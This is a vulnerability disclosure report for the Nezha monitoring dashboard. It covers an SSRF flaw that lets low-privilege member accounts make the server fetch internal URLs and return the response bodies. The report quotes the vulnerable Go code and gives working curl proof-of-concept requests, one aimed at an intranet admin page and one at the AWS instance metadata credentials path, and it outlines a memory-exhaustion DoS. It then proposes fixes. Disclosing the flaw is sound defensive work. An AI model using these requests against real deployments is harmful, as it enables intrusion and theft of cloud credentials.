Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.

   auth.POST("/notification", adminHandler(createNotification))
   auth.PATCH("/notification/:id", adminHandler(updateNotification))
   

2. SSRF-harden NotificationServerBundle.Send():

   • Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
   • Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.
   • Refuse non-http(s) schemes.

3. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.

4. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

• CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
• Auth: authenticated RoleMember (Role == 1).

Reproduction environment

• Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
• Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.